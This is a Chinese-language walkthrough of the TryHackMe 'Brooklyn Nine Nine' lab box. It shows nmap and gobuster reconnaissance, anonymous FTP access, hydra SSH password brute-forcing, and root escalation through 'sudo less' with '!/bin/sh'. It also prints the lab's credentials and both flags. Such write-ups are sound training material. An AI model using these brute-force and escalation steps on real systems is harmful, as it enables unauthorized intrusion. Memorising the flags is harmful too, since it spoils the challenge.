跳轉到

THM - Brooklyn Nine Nine 靶機滲透

This room is aimed for beginner level hackers but anyone can try to hack this box. There are two main intended ways to root the box.

靶場地址

點我前往

題目背景

This room is aimed for beginner level hackers but anyone can try to hack this box. There are two main intended ways to root the box. If you find more dm me in discord at Fsociety2006.

靶機類型

免費靶機

過關條件

  • User flag
  • Root flag

滲透過程

基本資訊

攻擊機IP:10.11.74.107

目標機IP:10.10.37.27

使用Nmap掃描Port

Nmap掃描Port
nmap -T4 -A -v 10.10.37.27
Port 開放:21、22、80,FTP允許匿名登入

連線至Web服務

使用瀏覽器連線至Web服務
那張圖片底下出現這樣的訊息,不過似乎沒什麼幫助

This example creates a full page background image. Try to resize the browser window to see how it always will cover the full screen (when scrolled to top), and that it scales nicely on all screen sizes.

使用gobuster進行目錄爆破

使用下面指令進行目錄爆破
gobuster dir --url http://10.10.37.27 -w /usr/share/wordlists/dirb/common.txt
看樣子沒有找到有用的資訊...

看看FTP內的內容

使用FTP進行匿名登入
ftp anonymous@10.10.37.27
有一個note_to_jake.txt檔案
使用get下載檔案後
get note_to_jake.txt

打開note_to_jake.txt檔案,得到下面資訊

note_to_jake.txt 檔案內容
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

在述說著Jake的密碼太簡單,要讓他更改

把FTP的檔案拖回本地時,若有出錯的解決方式

下載時的錯誤訊息
local: note_to_jake.txt_ remote: note_to_jake.txt_
229 Entering Extended Passive Mode (|||65477|)
550 Failed to open file.
請在下載前,在FTP命令窗口輸入
passive
這樣即可正常用FTP下載

暴力破解一下密碼

上面的內容,了解到Jake密碼太弱,嘗試使用下面指令進行SSH密碼破解

使用hydra進行SSH密碼爆破
hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.37.27 ssh -t 4
帳號:jake,密碼:987654321

要如何猜測到爆破的帳號的大小寫差異?

從原本的得知的提示內容來看,找不到線索判斷出帳號是Jake還是jake,我是Run過一次後,發現爆破密碼的時間太久才切換成小寫的,因為一般靶場中的有關暴力破解的環節時間通常不會拖太長,如果資訊不足以判斷帳號大小寫區分的話,可以另外產生一個帳號列表進行爆破。

舉例:

我有一個帳號列表是login_user.txt,裡面有兩列分別是Jake和jake,然後使用下列命令進行爆破

搭配帳號列表進行爆破
hydra -L /home/kali/Desktop/login_user.txt -P \
/usr/share/wordlists/rockyou.txt \
ssh://10.10.37.27 -t 4 -f -u
稍微解釋一下參數

-f代表如果測到一組成功的帳密就停止

-u每一組密碼都用帳號輪流測試,而不是每一組帳號用密碼輪流測試 這樣就可以確保帳號組合都可以測試到。

登入到SSH

使用SSH登入到Jake的帳號後,在/home/holt底下即可發現user.txt檔案。

跳轉到/home/holt/
cd /home/holt/

ee11cbb19052e40b07aac0ca060c23ee

使用less進行越權

接著要找出Root flag的位置,老樣子要進行提權。

使用 sudo -l,看一下可以運行哪些權限。
sudo -l

得知我們擁有less權限
運行下面指令
sudo less /etc/profile
上面的內容不重要,接著下一步
接著輸入
!/bin/sh
按下Enter後...
成功拿到root權限

接著移動到/root資料夾可以看到root.txt文件,打開它就是最後的答案了

root.txt內容
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!